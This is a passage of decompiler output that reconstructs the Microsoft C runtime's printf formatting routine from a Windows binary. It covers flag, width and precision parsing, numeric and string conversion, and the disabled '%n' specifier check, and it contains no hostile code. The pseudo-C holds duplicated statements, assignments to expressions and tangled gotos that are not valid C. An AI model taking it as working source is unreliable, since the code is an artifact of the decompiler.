												 *(__ebp - 0x18) = E0042BCB0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x18);
												if( *(__ebp - 0x18) < 0) {
													__ecx =  *(__ebp - 0x10);
													__ecx =  *(__ebp - 0x10) | 0x00000004;
													__eflags = __ecx;
													 *(__ebp - 0x10) = __ecx;
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
													 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
												}
											}
											goto L218;
										case 4:
											L40:
											 *(__ebp - 0x30) = 0;
											goto L218;
										case 5:
											L41:
											__eax =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__edx =  *(__ebp - 0x30);
												__edx =  *(__ebp - 0x30) * 0xa;
												__eflags = __edx;
												_t109 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
												__ecx = __edx + _t109;
												 *(__ebp - 0x30) = __ecx;
											} else {
												__ecx = __ebp + 0x14;
												 *(__ebp - 0x30) = E0042BCB0(__ebp + 0x14);
												__eflags =  *(__ebp - 0x30);
												if( *(__ebp - 0x30) < 0) {
													 *(__ebp - 0x30) = 0xffffffff;
												}
											}
											goto L218;
										case 6:
											L47:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
											__eflags =  *(__ebp - 0x320) - 0x2e;
											if( *(__ebp - 0x320) > 0x2e) {
												L70:
												goto L218;
											}
											L48:
											__ecx =  *(__ebp - 0x320);
											_t117 = __ecx + 0x430c6c; // 0x47e9003
											__edx =  *_t117 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t117 & 0x000000ff) * 4 +  &M00430C58))) {
												case 0:
													L53:
													__edx =  *(__ebp + 0xc);
													__eax =  *( *(__ebp + 0xc));
													__eflags =  *( *(__ebp + 0xc)) - 0x36;
													if( *( *(__ebp + 0xc)) != 0x36) {
														L56:
														__edx =  *(__ebp + 0xc);
														__eax =  *( *(__ebp + 0xc));
														__eflags =  *( *(__ebp + 0xc)) - 0x33;
														if( *( *(__ebp + 0xc)) != 0x33) {
															L59:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x64;
															if( *( *(__ebp + 0xc)) == 0x64) {
																L65:
																L67:
																goto L70;
															}
															L60:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x69;
															if( *__ecx == 0x69) {
																goto L65;
															}
															L61:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x6f;
															if(__ecx == 0x6f) {
																goto L65;
															}
															L62:
															__edx =  *(__ebp + 0xc);
															__eax =  *( *(__ebp + 0xc));
															__eflags =  *( *(__ebp + 0xc)) - 0x75;
															if( *( *(__ebp + 0xc)) == 0x75) {
																goto L65;
															}
															L63:
															__ecx =  *(__ebp + 0xc);
															__edx =  *__ecx;
															__eflags =  *__ecx - 0x78;
															if( *__ecx == 0x78) {
																goto L65;
															}
															L64:
															__eax =  *(__ebp + 0xc);
															__ecx =  *( *(__ebp + 0xc));
															__eflags = __ecx - 0x58;
															if(__ecx != 0x58) {
																 *(__ebp - 0x25c) = 0;
																goto L18;
															}
															goto L65;
														}
														L57:
														__ecx =  *(__ebp + 0xc);
														__edx =  *((char*)(__ecx + 1));
														__eflags =  *((char*)(__ecx + 1)) - 0x32;
														if( *((char*)(__ecx + 1)) != 0x32) {
															goto L59;
														} else {
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
															__ecx =  *(__ebp - 0x10);
															__ecx =  *(__ebp - 0x10) & 0xffff7fff;
															 *(__ebp - 0x10) = __ecx;
															goto L67;
														}
													}
													L54:
													__ecx =  *(__ebp + 0xc);
													__edx =  *((char*)(__ecx + 1));
													__eflags =  *((char*)(__ecx + 1)) - 0x34;
													if( *((char*)(__ecx + 1)) != 0x34) {
														goto L56;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00008000;
														 *(__ebp - 0x10) = __ecx;
														goto L67;
													}
												case 1:
													L68:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
													goto L70;
												case 2:
													L49:
													__eax =  *(__ebp + 0xc);
													__ecx =  *( *(__ebp + 0xc));
													__eflags = __ecx - 0x6c;
													if(__ecx != 0x6c) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000010;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													} else {
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
													}
													goto L70;
												case 3:
													L69:
													__eax =  *(__ebp - 0x10);
													__eax =  *(__ebp - 0x10) | 0x00000800;
													__eflags = __eax;
													 *(__ebp - 0x10) = __eax;
													goto L70;
												case 4:
													goto L70;
											}
										case 7:
											L71:
											__ecx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x324) = __ecx;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
											__eflags =  *(__ebp - 0x324) - 0x37;
											if( *(__ebp - 0x324) > 0x37) {
												goto L190;
												do {
													do {
														while(1) {
															L190:
															__eflags =  *(_t623 - 0x28);
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
														L186:
														__ebp - 0x49 = __ebp - 0x49 -  *(__ebp - 4);
														 *(__ebp - 0x24) = __ebp - 0x49 -  *(__ebp - 4);
														__ecx =  *(__ebp - 4);
														__ecx =  *(__ebp - 4) + 1;
														 *(__ebp - 4) = __ecx;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
														__eflags =  *(__ebp - 0x10) & 0x00000200;
													} while (( *(__ebp - 0x10) & 0x00000200) == 0);
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) == 0) {
														break;
													}
													L188:
													__eax =  *(__ebp - 4);
													__ecx =  *( *(__ebp - 4));
													__eflags = __ecx - 0x30;
												} while (__ecx == 0x30);
												L189:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												while(1) {
													L190:
													__eflags =  *(_t623 - 0x28);
													if( *(_t623 - 0x28) != 0) {
														goto L216;
													}
													goto L191;
												}
											}
											L72:
											_t158 =  *(__ebp - 0x324) + 0x430cd8; // 0x55ff8b0d
											__ecx =  *_t158 & 0x000000ff;
											switch( *((intOrPtr*)(__ecx * 4 +  &M00430C9C))) {
												case 0:
													L122:
													 *(__ebp - 0x2c) = 1;
													__ecx =  *((char*)(__ebp - 0x251));
													__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
													__eflags = __ecx;
													 *((char*)(__ebp - 0x251)) = __cl;
													goto L123;
												case 1:
													L73:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__eax =  *(__ebp - 0x10);
														__eax =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __eax;
														 *(__ebp - 0x10) = __eax;
													}
													goto L75;
												case 2:
													L87:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
													__eflags =  *(__ebp - 0x10) & 0x00000830;
													if(( *(__ebp - 0x10) & 0x00000830) == 0) {
														__ecx =  *(__ebp - 0x10);
														__ecx =  *(__ebp - 0x10) | 0x00000800;
														__eflags = __ecx;
														 *(__ebp - 0x10) = __ecx;
													}
													goto L89;
												case 3:
													L146:
													 *(__ebp - 0x260) = 7;
													goto L148;
												case 4:
													goto L0;
												case 5:
													L123:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													__eax = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													 *(__ebp - 0x44) = 0x200;
													__eflags =  *(__ebp - 0x30);
													if( *(__ebp - 0x30) >= 0) {
														L125:
														__eflags =  *(__ebp - 0x30);
														if( *(__ebp - 0x30) != 0) {
															L128:
															__eflags =  *(__ebp - 0x30) - 0x200;
															if( *(__ebp - 0x30) > 0x200) {
																 *(__ebp - 0x30) = 0x200;
															}
															L130:
															__eflags =  *(__ebp - 0x30) - 0xa3;
															if( *(__ebp - 0x30) > 0xa3) {
																 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																 *(__ebp - 0x20) = L0041D040(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																__eflags =  *(__ebp - 0x20);
																if( *(__ebp - 0x20) == 0) {
																	 *(__ebp - 0x30) = 0xa3;
																} else {
																	__eax =  *(__ebp - 0x20);
																	 *(__ebp - 4) =  *(__ebp - 0x20);
																	 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																	 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																}
															}
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
															__eax =  *(__ebp + 0x14);
															__ecx =  *(__eax - 8);
															__edx =  *(__eax - 4);
															 *(__ebp - 0x2a8) =  *(__eax - 8);
															 *(__ebp - 0x2a4) =  *(__eax - 4);
															__ecx = __ebp - 0x40;
															_push(E0041B2D0(__ebp - 0x40));
															__eax =  *(__ebp - 0x2c);
															_push( *(__ebp - 0x2c));
															__ecx =  *(__ebp - 0x30);
															_push( *(__ebp - 0x30));
															__edx =  *((char*)(__ebp - 0x251));
															_push( *((char*)(__ebp - 0x251)));
															__eax =  *(__ebp - 0x44);
															_push( *(__ebp - 0x44));
															__ecx =  *(__ebp - 4);
															_push( *(__ebp - 4));
															__edx = __ebp - 0x2a8;
															_push(__ebp - 0x2a8);
															__eax =  *0x43e478; // 0x72b0f098
															_push(__eax);
															__imp__DecodePointer();
															__eax =  *__eax();
															__esp = __esp + 0x1c;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
															__eflags =  *(__ebp - 0x10) & 0x00000080;
															if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041B2D0(__ebp - 0x40));
																	__edx =  *(__ebp - 4);
																	_push( *(__ebp - 4));
																	__eax =  *0x43e484; // 0x58d0f098
																	_push(__eax);
																	__imp__DecodePointer();
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__ecx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
															if( *((char*)(__ebp - 0x251)) == 0x67) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																__eflags =  *(__ebp - 0x10) & 0x00000080;
																if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																	__ecx = __ebp - 0x40;
																	_push(E0041B2D0(__ebp - 0x40));
																	__eax =  *(__ebp - 4);
																	_push(__eax);
																	__ecx =  *0x43e480; // 0x5930f098
																	_push(__ecx);
																	__imp__DecodePointer();
																	__eax =  *__eax();
																	__esp = __esp + 8;
																}
															}
															__edx =  *(__ebp - 4);
															__eax =  *( *(__ebp - 4));
															__eflags =  *( *(__ebp - 4)) - 0x2d;
															if( *( *(__ebp - 4)) == 0x2d) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																__edx =  *(__ebp - 4);
																__edx =  *(__ebp - 4) + 1;
																__eflags = __edx;
																 *(__ebp - 4) = __edx;
															}
															__eax =  *(__ebp - 4);
															 *(__ebp - 0x24) = E00420240( *(__ebp - 4));
															goto L190;
														}
														L126:
														__ecx =  *((char*)(__ebp - 0x251));
														__eflags = __ecx - 0x67;
														if(__ecx != 0x67) {
															goto L128;
														}
														L127:
														 *(__ebp - 0x30) = 1;
														goto L130;
													}
													L124:
													 *(__ebp - 0x30) = 6;
													goto L130;
												case 6:
													L75:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														__ebp + 0x14 = E0042BCB0(__ebp + 0x14);
														 *(__ebp - 0x284) = __ax;
														__cl =  *(__ebp - 0x284);
														 *(__ebp - 0x248) = __cl;
														 *(__ebp - 0x24) = 1;
													} else {
														 *(__ebp - 0x280) = 0;
														__edx = __ebp + 0x14;
														__eax = E0042DB00(__ebp + 0x14);
														 *(__ebp - 0x258) = __ax;
														__eax =  *(__ebp - 0x258) & 0x0000ffff;
														__ecx = __ebp - 0x248;
														__edx = __ebp - 0x24;
														 *(__ebp - 0x280) = E00432820(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
														__eflags =  *(__ebp - 0x280);
														if( *(__ebp - 0x280) != 0) {
															 *(__ebp - 0x28) = 1;
														}
													}
													__edx = __ebp - 0x248;
													 *(__ebp - 4) = __ebp - 0x248;
													do {
														L190:
														__eflags =  *(_t623 - 0x28);
														if( *(_t623 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													} while ( *(__ebp - 0x324) > 0x37);
													goto L72;
												case 7:
													L143:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 8:
													L108:
													__ecx = __ebp + 0x14;
													 *(__ebp - 0x298) = E0042BCB0(__ebp + 0x14);
													__eax = E00432210();
													__eflags = __eax;
													if(__eax != 0) {
														L118:
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
														__eflags =  *(__ebp - 0x10) & 0x00000020;
														if(( *(__ebp - 0x10) & 0x00000020) == 0) {
															__edx =  *(__ebp - 0x298);
															__eax =  *(__ebp - 0x24c);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														} else {
															__eax =  *(__ebp - 0x298);
															 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
														}
														 *(__ebp - 0x28) = 1;
														while(1) {
															L190:
															__eflags =  *(_t623 - 0x28);
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
													L109:
													__edx = 0;
													__eflags = 0;
													if(0 == 0) {
														 *(__ebp - 0x32c) = 0;
													} else {
														 *(__ebp - 0x32c) = 1;
													}
													__eax =  *(__ebp - 0x32c);
													 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) == 0) {
														_push(L"(\"\'n\' format specifier disabled\", 0)");
														_push(0);
														_push(0x695);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														__eax = L0041AAF0();
														__esp = __esp + 0x14;
														__eflags = __eax - 1;
														if(__eax == 1) {
															asm("int3");
														}
													}
													__eflags =  *(__ebp - 0x29c);
													if( *(__ebp - 0x29c) != 0) {
														L117:
														while(1) {
															L190:
															__eflags =  *(_t623 - 0x28);
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													} else {
														L116:
														 *((intOrPtr*)(L0041A7C0(__ecx))) = 0x16;
														__eax = E00419D60(__ecx, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
														 *(__ebp - 0x2f8) = 0xffffffff;
														__ecx = __ebp - 0x40;
														__eax = E0041B2A0(__ecx);
														__eax =  *(__ebp - 0x2f8);
														goto L229;
													}
												case 9:
													L151:
													 *(__ebp - 8) = 8;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														__edx =  *(__ebp - 0x10);
														__edx =  *(__ebp - 0x10) | 0x00000200;
														__eflags = __edx;
														 *(__ebp - 0x10) = __edx;
													}
													goto L153;
												case 0xa:
													L145:
													 *(__ebp - 0x30) = 8;
													goto L146;
												case 0xb:
													L89:
													__eflags =  *(__ebp - 0x30) - 0xffffffff;
													if( *(__ebp - 0x30) != 0xffffffff) {
														__edx =  *(__ebp - 0x30);
														 *(__ebp - 0x328) =  *(__ebp - 0x30);
													} else {
														 *(__ebp - 0x328) = 0x7fffffff;
													}
													__eax =  *(__ebp - 0x328);
													 *(__ebp - 0x290) =  *(__ebp - 0x328);
													__ecx = __ebp + 0x14;
													 *(__ebp - 4) = E0042BCB0(__ebp + 0x14);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
													__eflags =  *(__ebp - 0x10) & 0x00000810;
													if(( *(__ebp - 0x10) & 0x00000810) == 0) {
														L100:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__edx =  *0x43eec8; // 0x4075b0
															 *(__ebp - 4) = __edx;
														}
														__eax =  *(__ebp - 4);
														 *(__ebp - 0x28c) =  *(__ebp - 4);
														while(1) {
															L103:
															__ecx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L104:
															__eax =  *(__ebp - 0x28c);
															__ecx =  *( *(__ebp - 0x28c));
															__eflags = __ecx;
															if(__ecx == 0) {
																break;
															}
															L105:
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
															 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
														}
														L106:
														__eax =  *(__ebp - 0x28c);
														__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
														__eflags = __eax;
														 *(__ebp - 0x24) = __eax;
														goto L107;
													} else {
														L93:
														__eflags =  *(__ebp - 4);
														if( *(__ebp - 4) == 0) {
															__eax =  *0x43eecc; // 0x4075a0
															 *(__ebp - 4) = __eax;
														}
														 *(__ebp - 0xc) = 1;
														__ecx =  *(__ebp - 4);
														 *(__ebp - 0x294) =  *(__ebp - 4);
														while(1) {
															L96:
															__edx =  *(__ebp - 0x290);
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
															__eflags =  *(__ebp - 0x290);
															if( *(__ebp - 0x290) == 0) {
																break;
															}
															L97:
															__ecx =  *(__ebp - 0x294);
															__edx =  *( *(__ebp - 0x294)) & 0x0000ffff;
															__eflags =  *( *(__ebp - 0x294)) & 0x0000ffff;
															if(( *( *(__ebp - 0x294)) & 0x0000ffff) == 0) {
																break;
															}
															L98:
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
															 *(__ebp - 0x294) =  *(__ebp - 0x294) + 2;
														}
														L99:
														 *(__ebp - 0x294) =  *(__ebp - 0x294) -  *(__ebp - 4);
														__ecx =  *(__ebp - 0x294) -  *(__ebp - 4) >> 1;
														 *(__ebp - 0x24) = __ecx;
														L107:
														while(1) {
															L190:
															__eflags =  *(_t623 - 0x28);
															if( *(_t623 - 0x28) != 0) {
																goto L216;
															}
															goto L191;
														}
													}
												case 0xc:
													L144:
													 *(__ebp - 8) = 0xa;
													goto L153;
												case 0xd:
													L147:
													 *(__ebp - 0x260) = 0x27;
													L148:
													 *(__ebp - 8) = 0x10;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
													__eflags =  *(__ebp - 0x10) & 0x00000080;
													if(( *(__ebp - 0x10) & 0x00000080) != 0) {
														 *((char*)(__ebp - 0x14)) = 0x30;
														 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
														__eflags =  *(__ebp - 0x260) + 0x51;
														 *((char*)(__ebp - 0x13)) = __al;
														 *(__ebp - 0x1c) = 2;
													}
													L153:
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
													__eflags =  *(__ebp - 0x10) & 0x00008000;
													if(( *(__ebp - 0x10) & 0x00008000) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
														__eflags =  *(__ebp - 0x10) & 0x00001000;
														if(( *(__ebp - 0x10) & 0x00001000) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
															__eflags =  *(__ebp - 0x10) & 0x00000020;
															if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	__eax = E0042BCB0(__ebp + 0x14);
																	__edx = 0;
																	__eflags = 0;
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = 0;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E0042BCB0(__ebp + 0x14);
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															} else {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																__eflags =  *(__ebp - 0x10) & 0x00000040;
																if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																	__ecx = __ebp + 0x14;
																	E0042BCB0(__ebp + 0x14) = __ax & 0x0000ffff;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																	 *(__ebp - 0x2b4) = __edx;
																} else {
																	__eax = __ebp + 0x14;
																	__eax = E0042BCB0(__ebp + 0x14);
																	__ax = __eax;
																	asm("cdq");
																	 *(__ebp - 0x2b8) = __eax;
																	 *(__ebp - 0x2b4) = __edx;
																}
															}
														} else {
															__eax = __ebp + 0x14;
															 *(__ebp - 0x2b8) = E0042BCD0(__ebp + 0x14);
															 *(__ebp - 0x2b4) = __edx;
														}
													} else {
														__ecx = __ebp + 0x14;
														 *(__ebp - 0x2b8) = E0042BCD0(__ebp + 0x14);
														 *(__ebp - 0x2b4) = __edx;
													}
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
													__eflags =  *(__ebp - 0x10) & 0x00000040;
													if(( *(__ebp - 0x10) & 0x00000040) == 0) {
														L170:
														__ecx =  *(__ebp - 0x2b8);
														 *(__ebp - 0x2c0) =  *(__ebp - 0x2b8);
														__edx =  *(__ebp - 0x2b4);
														 *(__ebp - 0x2bc) =  *(__ebp - 0x2b4);
														goto L171;
													} else {
														L166:
														__eflags =  *(__ebp - 0x2b4);
														if(__eflags > 0) {
															goto L170;
														}
														L167:
														if(__eflags < 0) {
															L169:
															 *(__ebp - 0x2b8) =  ~( *(__ebp - 0x2b8));
															__edx =  *(__ebp - 0x2b4);
															asm("adc edx, 0x0");
															__edx =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x2c0) =  ~( *(__ebp - 0x2b8));
															 *(__ebp - 0x2bc) =  ~( *(__ebp - 0x2b4));
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
															L171:
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
															__eflags =  *(__ebp - 0x10) & 0x00008000;
															if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																__eflags =  *(__ebp - 0x10) & 0x00001000;
																if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																	__edx =  *(__ebp - 0x2c0);
																	__eax =  *(__ebp - 0x2bc);
																	__eax =  *(__ebp - 0x2bc) & 0x00000000;
																	__eflags = __eax;
																	 *(__ebp - 0x2bc) = __eax;
																}
															}
															__eflags =  *(__ebp - 0x30);
															if( *(__ebp - 0x30) >= 0) {
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
																__eflags =  *(__ebp - 0x30) - 0x200;
																if( *(__ebp - 0x30) > 0x200) {
																	 *(__ebp - 0x30) = 0x200;
																}
															} else {
																 *(__ebp - 0x30) = 1;
															}
															 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
															if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																 *(__ebp - 0x1c) = 0;
															}
															__eax = __ebp - 0x49;
															 *(__ebp - 4) = __ebp - 0x49;
															while(1) {
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																L182:
																 *(__ebp - 0x2c0) =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																__eflags =  *(__ebp - 0x2c0) |  *(__ebp - 0x2bc);
																if(( *(__ebp - 0x2c0) |  *(__ebp - 0x2bc)) == 0) {
																	goto L186;
																}
																L183:
																__eax =  *(__ebp - 8);
																asm("cdq");
																__ecx =  *(__ebp - 0x2bc);
																__edx =  *(__ebp - 0x2c0);
																__eax = E00427060( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8),  *(__ebp - 0x2c0));
																 *(__ebp - 0x2ac) = __eax;
																__eax =  *(__ebp - 8);
																asm("cdq");
																__eax =  *(__ebp - 0x2bc);
																__ecx =  *(__ebp - 0x2c0);
																 *(__ebp - 0x2c0) = E004270E0( *(__ebp - 0x2c0),  *(__ebp - 0x2bc),  *(__ebp - 8), __edx);
																 *(__ebp - 0x2bc) = __edx;
																__eflags =  *(__ebp - 0x2ac) - 0x39;
																if( *(__ebp - 0x2ac) > 0x39) {
																	__edx =  *(__ebp - 0x2ac);
																	__edx =  *(__ebp - 0x2ac) +  *(__ebp - 0x260);
																	__eflags = __edx;
																	 *(__ebp - 0x2ac) = __edx;
																}
																__eax =  *(__ebp - 4);
																__cl =  *(__ebp - 0x2ac);
																 *( *(__ebp - 4)) = __cl;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																 *(__ebp - 4) =  *(__ebp - 4) - 1;
																L181:
																__ecx =  *(__ebp - 0x30);
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) > 0) {
																	goto L183;
																}
																goto L182;
															}
														}
														L168:
														__eflags =  *(__ebp - 0x2b8);
														if( *(__ebp - 0x2b8) >= 0) {
															goto L170;
														}
														goto L169;
													}
												case 0xe:
													while(1) {
														L190:
														__eflags =  *(_t623 - 0x28);
														if( *(_t623 - 0x28) != 0) {
															goto L216;
														}
														goto L191;
													}
											}
										case 8:
											L30:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
											goto L33;
										case 9:
											L31:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
											goto L33;
										case 0xa:
											L29:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000001;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xb:
											L28:
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
											goto L33;
										case 0xc:
											L32:
											__ecx =  *(__ebp - 0x10);
											__ecx =  *(__ebp - 0x10) | 0x00000008;
											__eflags = __ecx;
											 *(__ebp - 0x10) = __ecx;
											goto L33;
										case 0xd:
											L33:
											goto L218;
									}
								} else {
									if(0 == 0) {
										 *(_t623 - 0x314) = 0;
									} else {
										 *(_t623 - 0x314) = 1;
									}
									_t573 =  *(_t623 - 0x314);
									 *(_t623 - 0x278) =  *(_t623 - 0x314);
									if( *(_t623 - 0x278) == 0) {
										_push(L"(\"Incorrect format specifier\", 0)");
										_push(0);
										_push(0x460);
										_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
										_push(2);
										_t530 = L0041AAF0();
										_t626 = _t626 + 0x14;
										if(_t530 == 1) {
											asm("int3");
										}
									}
									L14:
									if( *(_t623 - 0x278) != 0) {
										goto L16;
									} else {
										 *((intOrPtr*)(L0041A7C0(_t573))) = 0x16;
